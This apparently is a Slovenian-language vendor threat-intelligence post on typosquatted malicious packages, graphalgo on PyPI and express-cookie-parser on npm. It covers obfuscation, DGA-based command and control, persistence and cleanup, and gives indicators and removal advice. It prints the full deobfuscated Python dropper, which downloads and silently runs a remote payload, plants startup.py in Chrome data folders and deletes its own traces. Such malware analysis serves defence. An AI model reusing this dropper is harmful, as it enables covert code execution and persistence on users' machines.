Napadi na dobavno verigo programske opreme 2025 - zlonamerni paketi - zlonamerni paketi python - zlonamerni paketi npm

Podrobnejši pogled na napade na dobavno verigo programske opreme v letu 2025: primerjava kampanj PyPI in npm

Xygeni je nedavno opazil zaskrbljujoč vzorec v napadih na dobavno verigo programske opreme v letu 2025., ki se pojavlja v dveh priljubljenih upravljalnikih paketov: PyPI in npmKot del naših nenehnih prizadevanj za obveščanje o grožnjah,Xygenijev sistem za zgodnje opozarjanje na zlonamerno programsko opremo (MEW) Orodje je odkrilo ločen, a metodološko podoben primer zlonamernega paketa, ki je bil predhodno naložen v drug register. Ta primer poudarja, kako akterji groženj razvijajo in ponovno uporabljajo tehnike napadov v različnih ekosistemih, zlasti prek zlonamerni paketi Python in zlonamerni npm paketi, kar povečuje tveganje, da zlonamerni paketi infiltrirajo dobavne verige odprte kode.

Xygenijev MEW: Iskanje podobnosti

Xygenijevo orodje MEW je zasnovano za odkrivanje in označevanje zlonamernih paketov, zlasti tistih, povezanih z napadi na dobavno verigo programske opreme leta 2025, takoj ko so objavljeni v registrih odprtokodnih programov. Deluje tako, da analizira nove pakete in ugotavlja sumljivo vedenje.

V tem primeru je opredelil dva zlonamerni paketi Python (graphalgo na PyPI) in zlonamerni npm paketi (express-cookie-parser na npm).

Zlonamerni paketi Python in npm v napadih na dobavno verigo programske opreme (2025)

Oglejmo si skupne značilnosti, ki so sprožile naša opozorila:

Tiposkvat

Oba sta poskušala posnemajo priljubljene obstoječe pakete.

  • grafalgo (PyPI): "Python paket za ustvarjanje in manipuliranje grafov in omrežij.Naložil uporabnik z imenom "larrytech" 13. junija 2025 se je ta paket predstavil kot alternativa PyPi prvotnemu neškodljivemu projektu graphalgo, ki je bil kasneje preimenovan v graphdict.
  • ekspresni razčlenjevalnik piškotkov (npm)Ta paket je posnemal dobro znani paket za razčlenjevanje piškotkov in ga celo zrcalil. PREBERIME.md. Takšno lažno predstavljanje je klasična taktika za izkoriščanje obstoječega zaupanja.

Zatemnitev kot prva obrambna linija

Oba paketa sta skrila svojo zlonamerno kodo znotraj izvirnih datotek. Za grafalgo, zakrita koda je bila najdena znotraj /utils/load_libraries.py. V primeru ekspresni razčlenjevalnik piškotkov, cookie-loader.min.js vseboval zakriti koristni tovor.

Ta začetna plast zakrivanja se običajno uporablja za oviranje občasnega pregleda in statične analize. Zakrivanje je bilo dokaj preprosto: ponavljajoče se stiskanje ZLib in kodiranje Base64. Ta vrsta zakrivanja jasno kaže, da programska oprema poskuša prikriti svoje vedenje. Skupaj z drugimi dokazi je to Xygeni MEW omogočilo, da pakete razvrsti kot potencialno zlonamerno programsko opremo. Med fazo potrjevanja so naši pregledovalci takoj pripravili skript za odkrivanje, ki je razkril očitno zlonamerno fazo spuščanja.

Večstopenjska dostava koristnega tovora in skupna izvorna točka

Oba paketa sta delovala kot začetni “kapalke,« kar je postavilo temelje za pravi koristni tovor. Delili so skupni zunanji »semeURL datoteke:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Ta identična zunanja semenska datoteka je močan pokazatelj skupnega akterja grožnje. Zanimivo je, da je vsebina te semenske datoteke videti kot preproste okoljske spremenljivke (npr. JWT_SECRET, PORT), kar lahko pri pregledu zavede glede njene dejanske funkcije.

Dinamična ločljivost C2 z DGA

Sofisticirana taktika, opažena v teh zlonamernih paketih, je uporaba algoritma za generiranje domen (DGA) za dinamično razreševanje strežnika Command and Control (C2). Ta tehnika, ki so jo pogosto opazili pri naprednih napadih na dobavno verigo programske opreme v letu 2025, se zanaša na zgoščeno vrednost SHA256, pridobljeno iz vsebine semenske datoteke, v kombinaciji z drugimi trdo kodiranimi vrednostmi. S tem se infrastruktura C2 pogosto spreminja, zaradi česar je tradicionalno uvrščanje na črne liste veliko manj učinkovito. V tem primeru je različica npm uporabila fiksno vrednost 496AAC7E kot del logike DGA.

Vzpostavitev vztrajnosti

Oba napadalca sta si želela vzpostaviti trajno prisotnost na prizadetih sistemih. Njuna strategija je vključevala brisanje datoteke, startup.py (za PyPi) ali startup.js (za npm), v običajne imenike uporabniških podatkov Google Chroma v različnih operacijskih sistemih (Windows, Linux, macOS).

Čiščenje po izvedbi

Da bi zmanjšali sledi, sta oba zlonamerna skripta izvedla operacije čiščenja. To je vključevalo brisanje začetnih datotek dropper (load_libraries.py, cookie-loader.min.js) in spreminjanje legitimnih datotek paketov (__init__.py, index.js) za odstranitev sklicevanja na zdaj izbrisane komponente.

Kazalniki kompromitacije v zlonamernih paketih Python in npm

  • Paket PyPI: graphalgo (objavil larrytech, 13. junija 2025)
  • Paket npmexpress-cookie-parser (natančneje različica 1.4.12)
  • Dostop do URL-ja skupnega semena

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Trajna imena datotek: startup.py (Python) startup.js (JavaScript)
  • Pogoste trajne poti (odvisno od operacijskega sistema)V imenikih uporabniških podatkov v brskalniku Google Chrome (npr. AppData\Local\Google\Chrome\UserData\Scripts\ v sistemu Windows, ~/.config/google-chrome/Scripts/ v Linuxu itd.).

Kako se braniti pred zlonamernimi paketi pri napadih na dobavno verigo programske opreme v letu 2025

Priporočen pristop za razvijalce

Ta incident služi kot dragocena študija primera v razvijajočem se okolju groženj napadov v dobavni verigi programske opreme v letu 2025. Poudarja, kako se lahko zlonamerni paketi Python in zlonamerni paketi npm prebijejo v zaupanja vredne ekosisteme in se pogosto izognejo odkritju, dokler ni prepozno. Zato so zgodnje odkrivanje, pametna orodja in proaktivna sistemska higiena zdaj bistveni deli vsakega varnega delovnega procesa DevOps. Razvijalcem priporočamo, da upoštevajo naslednje:

Pregled odvisnosti

Če so vaši projekti vključevali grafalgo or ekspresni razčlenjevalnik piškotkov, bi bilo pametno nadaljevati z njihovo odstranitvijo.

  • Za PyPI: pip uninstall graphalgo
  • Za npm: npm uninstall express-cookie-parser

Sistemska higiena

Razmislite o obsežnem pregledu sistema. Priporočljivo je tudi, da ročno preverite poti do običajnih imenikov uporabniških podatkov v Chromu za morebitne nepričakovane startup.py or startup.js datotek.

Proaktivni varnostni ukrepi

  • Ocenite nove odvisnostiVzpostavite rutino za temeljito ocenjevanje novih paketov pred integracijo, s poudarkom na tistih od neznanih založnikov.
  • Integrirajte varnostna orodjaOrodja, kot je Xygenijev MEW, skupaj z drugimi analizami sestave programske opreme (SCA) rešitve lahko zagotovijo ključno plast obrambe z odkrivanjem sumljivega vedenja in ranljivosti.
  • Najmanjši privilegijDelovanje razvojnih okolij z načelom najmanjših privilegijev lahko pomaga omejiti morebitni vpliv kompromisa.
  • Zavedanje omrežjaSpremljanje odhodnega omrežnega prometa za nenavadne povezave lahko včasih razkrije komunikacije C2, ki jih generira DGA.

Ključne komponente load_libraries.py (iz grafalga)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Obvladuje pridobivanje datotek z določenih URL-jev.
  • run_process(): Izvaja zunanje Python skripte ločeno in pri tem preprečuje izhod, da ostane diskreten.
  • get_output_file_path()Določa idealno sistemsko lokacijo za trajno datoteko startup.py.
  • remove_self()Orkestrira čiščenje po izvedbi začetnih zlonamernih datotek in sprememb paketov.
  • simple_shift_encrypt() / simple_shift_decrypt()Prilagojene kriptografske funkcije za zakrivanje komunikacijskih kanalov, ključne za implementacijo DGA.
  • load_libraries()Osrednja funkcija, ki koordinira celoten večstopenjski postopek, od začetnega prenosa do končne izvedbe in čiščenja koristnega tovora.

Aftermath

Kot pri drugih potencialno zlonamernih paketih, ki jih je odkril MEW, je požarni zid odvisnosti takoj zaščitil uporabnike, ki bi te zlonamerne pakete vključili v svoje odvisnosti. Po potrditvi smo sledili postopkom obveščanja za oba registra, ki sta po pregledu odstranila oba paketa.

orodja-za-analizo-sestave-programske-programske-orodja-sca
Določite prednostne naloge, odpravite in zavarujte tveganja programske opreme
Pridobite svoj brezplačni račun.
Ni potrebna kreditna kartica.

Zagotovite si razvoj in dostavo programske opreme

z Xygeni Product Suite